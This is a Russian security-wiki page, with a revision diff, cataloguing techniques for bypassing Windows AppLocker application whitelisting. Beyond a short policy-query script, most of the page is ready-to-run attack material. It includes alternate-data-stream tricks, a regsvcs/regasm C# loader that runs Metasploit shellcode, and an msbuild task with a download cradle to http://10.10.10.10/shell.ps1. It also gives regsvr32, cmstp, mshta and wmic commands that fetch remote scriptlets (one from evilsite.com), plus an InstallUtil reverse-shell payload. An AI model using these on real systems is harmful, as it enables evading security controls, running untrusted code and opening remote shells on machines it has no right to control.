Applocker — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Ссылки)
м (Regsvcs.exe / Regasm)
Строка 124: Строка 124:
 
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 
sn -k key.snk
 
sn -k key.snk
 +
 +
# Или так
 +
 +
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
 +
$Content = [System.Convert]::FromBase64String($key)
 +
Set-Content key.snk -Value $Content -Encoding Byte
 
</syntaxhighlight>
 
</syntaxhighlight>
  
Строка 251: Строка 257:
 
}
 
}
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
Второй вариант кода (попроще):
 +
<syntaxhighlight lang="csharp" line="1" enclose="div" style="overflow-x:scroll" >
 +
using System;
 +
using System.EnterpriseServices;
 +
using System.Runtime.InteropServices;
 +
using System.Management.Automation;
 +
namespace regsvcser
 +
{
 +
   
 +
    public class Bypass : ServicedComponent
 +
    {
 +
        public Bypass() { Console.WriteLine("I am a basic COM Object"); }
 +
 +
[ComUnregisterFunction] //This executes if registration fails
 +
public static void UnRegisterClass ( string key )
 +
{
 +
PowerShell ps = PowerShell.Create();
 +
ps.AddCommand("Invoke-Expression");
 +
ps.AddArgument("payload");
 +
ps.Invoke();
 +
}
 +
    }
 +
 +
}
 +
</syntaxhighlight>
 +
  
 
Компиляция:
 
Компиляция:
Строка 260: Строка 293:
 
* Опция /U запускает класс UnRegisterClass.
 
* Опция /U запускает класс UnRegisterClass.
  
* Отсутствие опции /U запускает класс RegisterClass.
+
* Отсутствие опции /U запускает класс RegisterClass (или UnRegisterClass если нет прав).
 +
 
  
 
Запуск:
 
Запуск:

Версия 10:28, 17 марта 2022

Applocker - функция управления приложениями и политиками по запуску программного обеспечения в Windows.

Позволяет управлять:

  • Исполняемые файлы
    • EXE
    • COM
  • Скрипты
    • JS
    • PS1
    • VBS
    • CMD
    • BAT
  • Установочные файлы
    • MST
    • MSI
    • MSP
  • Библиотеки
    • DLL
    • OCX
  • Упакованные приложения
    • APPX

Общее

Получение политики (все юзеры)

Get-ApplockerPolicy -effective

Получение политики (все группы текущего пользователя)

$a = Get-ApplockerPolicy -effective

$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value
$g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups)

Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){
$f = 0;
$v = $y.UserOrGroupSid.value; 
Foreach ($z in $g){
if (($z.Value -eq $u) -or ($z.Value -eq $v)){
$f= 1;
};
};
  if ($f -eq 1){
Write-Output $y.PathConditions;
Write-Output $y.Action;
}
}}

Однострочник

$a = Get-ApplockerPolicy -effective;$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value; $g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups);Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){$f = 0;$v = $y.UserOrGroupSid.value; Foreach ($z in $g){if (($z.Value -eq $u) -or ($z.Value -eq $v)){$f= 1;};};if ($f -eq 1){Write-Output $y.PathConditions;Write-Output $y.Action;};};};

Обход AppLocker

Альтернативный канал

Например, если политика разрешат запуск из C:\logs то следующей командой мы можем сохранить файл в альтернативный канал и запустить его:


Варианты записи в альтернативный канал:

type test.exe > C:\logs:test.exe
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct   ^scrobj.dll > fakefile.doc:reg32.bat
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab


Запуск созданного .exe:

# type test.exe > C:\logs:test.exe
wmic process call create '"C:\logs:test.exe"'


Можно попробовать воспользоваться записью в альтернативный канал следующих файлов:

C:\Windows\System32\AppLocker\AppCache.dat
C:\Windows\System32\AppLocker\AppCache.dat.LOG1
C:\Windows\System32\AppLocker\AppCache.dat.LOG2

Presentationhost.exe

Возможно создать приложение .xbap и запустить его командой:

Presentationhost.exe file:///tmp/poc.xbap

Подробнее о создании .xbap: https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4

Regsvcs.exe / Regasm

Генерируем ключ (для подписи потребуется, но не обязательно):

sn -k key.snk

# Или так

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte

Создаем файл regsvcs.cs:

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;

/*

Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

Create Your Strong Name Key -> key.snk

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll 
[OR]
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll
//Executes UnRegisterClass If you don't have permissions

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll
//This calls the UnregisterClass Method

*/
namespace regsvcser
{
    
    public class Bypass : ServicedComponent
    {
        public Bypass() { Console.WriteLine("I am a basic COM Object"); }
		
		[ComRegisterFunction] //This executes if registration is successful
		public static void RegisterClass ( string key )
		{
			Console.WriteLine("I shouldn't really execute");
			Shellcode.Exec();
		}
		
		[ComUnregisterFunction] //This executes if registration fails
		public static void UnRegisterClass ( string key )
		{
			Console.WriteLine("I shouldn't really execute either.");
			Shellcode.Exec();
		}
    }
	
	public class Shellcode
    {
        public static void Exec()
        {
            // native function's compiled code
            // generated with metasploit
            // executes calc.exe
            byte[] shellcode = new byte[193] {
			0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
			0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
			0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
			0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
			0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
			0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
			0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
			0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
			0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
			0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
			0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
			0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
			0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };



            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data


            IntPtr pinfo = IntPtr.Zero;

            // execute native code

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);


        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );


    }

}

Второй вариант кода (попроще):

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
using System.Management.Automation;
namespace regsvcser
{
    
    public class Bypass : ServicedComponent
    {
        public Bypass() { Console.WriteLine("I am a basic COM Object"); }
		
		[ComUnregisterFunction] //This executes if registration fails
		public static void UnRegisterClass ( string key )
		{
			PowerShell ps = PowerShell.Create();
			ps.AddCommand("Invoke-Expression");
			ps.AddArgument("payload");
			ps.Invoke();	
		}
    }

}


Компиляция:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs


  • Опция /U запускает класс UnRegisterClass.
  • Отсутствие опции /U запускает класс RegisterClass (или UnRegisterClass если нет прав).


Запуск:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll

Интерпретаторы

  • python
  • perl
  • java

И так далее

Макросы ворда

Макросы ворда VBS позволяют тоже обойти AppLocker и запустить произвольный код.

Небезопасные политики

Требуется посмотреть список директорий, откуда можно запускать файлы, и проверить какие из директорий/файлов доступны для записи.


InstallUtil

Для запуска PowerSherll см. amsi

Также можно воспользоваться утилитой: https://github.com/khr0x40sh/WhiteListEvasion

python InstallUtil.py --cs_file temp.cs --exe_file temp.exe --payload windows/shell_reverse_tcp --lhost 192.168.68.104 --lport 443

# компилируем
csc.exe temp.cs

# Запускаем
.\InstallUtil.exe /logfile= /LogToConsole=false /U temp.exe

regsvr32.exe

test.sct:

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>
regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll

Microsoft.Workflow.Compiler.exe

test.xml:

<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>test.xoml</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>


text.xoml:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
    <CodeActivity x:Name="codeActivity1" />
    <x:Code><![CDATA[
    public class Foo : SequentialWorkflowActivity {
     public Foo() {
            Console.WriteLine("FOOO!!!!");
        }
    }
    ]]></x:Code>
</SequentialWorkflowActivity>


Microsoft.Workflow.Compiler.exe соберет XML-проет и запустит его:

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml

Полный фрагмент кода для автоматизации запуска:

function New-CompilerInputXml {
<#
.SYNOPSIS
Creates a an XML file consisting of a serialized CompilerInput object.
.DESCRIPTION
New-CompilerInputXml creates an XML file consisting of compiler options. This file is required as the first argument for Microsoft.Workflow.Compiler.exe.
.PARAMETER XOMLPath
Specifies the path to the target XOML file. This can be a relative or absolute path. This path will be included in the resulting XML file that New-CompilerInputXml outputs.
.PARAMETER OutputPath
Specifies the path to which New-CompilerInputXml will save the serialized CompilerInput object.
.EXAMPLE
New-CompilerInputXml -XOMLPath C:\Test\foo.xoml -OutputPath test.xml
Outputs a serialized CompilerInput object to test.xml and specifies a full path to a XOML assembly reference.
.EXAMPLE
New-CompilerInputXml -XOMLPath foo.xoml -OutputPath test.txt
Outputs a serialized CompilerInput object to test.txt and specifies a XOML assembly reference using a relative path. Note that Microsoft.Workflow.Compiler.exe doesn't care about the extension supplied in the first argument.
.OUTPUTS
System.IO.FileInfo
Outputs a FileInfo object to serve as confirmation that the resulting serialized XML wil was created.
#>

    [OutputType([System.IO.FileInfo])]
    param (
        [String]
        [ValidateNotNullOrEmpty()]
        $XOMLPath = 'test.xoml',

        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $OutputPath
    )

    # This assembly won't be loaded by default. We need to load
    # it in order to get access to the WorkflowCompilerParameters class.
    Add-Type -AssemblyName 'System.Workflow.ComponentModel'

    # This class contains the properties we need to specify for Microsoft.Workflow.Compiler.exe
    $WFCompilerParams = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters

    # Necessary to get Microsoft.Workflow.Compiler.exe to call Assembly.Load(byte[])
    $WFCompilerParams.GenerateInMemory = $True

    # Full path to Microsoft.Workflow.Compiler.exe that we will load and access a non-public method from
    $WorkflowCompilerPath = [Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() + 'Microsoft.Workflow.Compiler.exe'

    # Load the assembly
    $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath)

    # This is the helper method that will serialize the CompilerInput object to disk
    $SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')

    $TempFile = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $WFCompilerParams, [String[]] @(,$OutputPath)))

    Move-Item $TempFile $OutputPath -PassThru
}

Подробнее тут: https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb


msbuild.exe

test.csproj:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj -->
  <Target Name="Hello">
   <ClassExample />
  </Target>
	<UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
	 <Reference Include="C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" />
	 <!-- Your PowerShell Path May vary -->
      <Code Type="Class" Language="cs">
        <![CDATA[
			// all code by Casey Smith @SubTee
			using System;
			using System.Reflection;
			using Microsoft.Build.Framework;
			using Microsoft.Build.Utilities;
			
			using System.Collections.ObjectModel;
			using System.Management.Automation;
			using System.Management.Automation.Runspaces;
			using System.Text;
				
			public class ClassExample :  Task, ITask
			{
				public override bool Execute()
				{
					//Console.WriteLine("Hello From a Class.");
					Console.WriteLine(powaShell.RunPSCommand());
					return true;
				}
			}
			
			//Based on Jared Atkinson's And Justin Warner's Work
			public class powaShell
			{
				public static string RunPSCommand()
				{
										
					//Init stuff
					
					InitialSessionState iss = InitialSessionState.CreateDefault();
					iss.LanguageMode = PSLanguageMode.FullLanguage;
					Runspace runspace = RunspaceFactory.CreateRunspace(iss);
					runspace.Open();
					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
					Pipeline pipeline = runspace.CreatePipeline();
					
					//Interrogate LockDownPolicy
					Console.WriteLine(System.Management.Automation.Security.SystemPolicy.GetSystemLockdownPolicy());				
					
					
					
					//Add commands
					pipeline.Commands.AddScript("IEX (iwr 'http://10.10.10.10/shell.ps1')");  // powershell 3.0+ download cradle
					//Prep PS for string output and invoke
					pipeline.Commands.Add("Out-String");
					Collection<PSObject> results = pipeline.Invoke();
					runspace.Close();
					//Convert records to strings
					StringBuilder stringBuilder = new StringBuilder();
					foreach (PSObject obj in results)
					{
						stringBuilder.Append(obj);
					}
					return stringBuilder.ToString().Trim();		  
				}
			}
							
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Скрипт загружает powershell-файл по ссылке http://10.10.10.10/shell.ps1


Нужно только скомпилировать проект:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Users\Public\Downloads\powashell.csproj

cmstp.exe

Местоположение файлов:

# x64
C:\Windows\System32\cmstp.exe
# x32
C:\Windows\SysWOW64\cmstp.exe

Запуск DLL

Содержимое файла cmstp.inf (отредактировать путь до dll):

[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
 
[RegisterOCXSection]
C:\Users\test.PENTESTLAB\pentestlab.dll
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"


Запуск:

cmstp.exe /s cmstp.inf

Запуск SCT

Файл SCT можно найти тут: https://gist.github.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/

Или другой вариант SCT: https://gist.github.com/netbiosX/297ea22d3475bb7216a7525f1ee82568

Содержимое файла cmstp.inf (отредактировать путь до powersct.sct):

[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
 
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"


Windows Script Host

mshta.exe

Запуск .hta файлов.


Пример:

# Нужен полный путь до файла
mshta.exe C:\test.hta

# или http-ссылка
mshta.exe http://1.1.1.1/test.hta

wscript.exe

Запуск Wscript(.wsf) файлов.

cscript.exe

Заапуск VBScript(.vbs), Jscript(.js) и Wscript(.wsf) файлов.

WMIC + XLS

test.xls:

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc");
	]]> </ms:script>
</stylesheet>

Запуск:

wmic os get /FORMAT:"test.xsl"

# Или http
wmic process get brief /format:"http://10.0.2.4:8000/applocker_xsl.xsl"

Ссылки

Статьи

0xsp.com

pentestlab.blog

evi1cg.me

dmcxblue.gitbook.io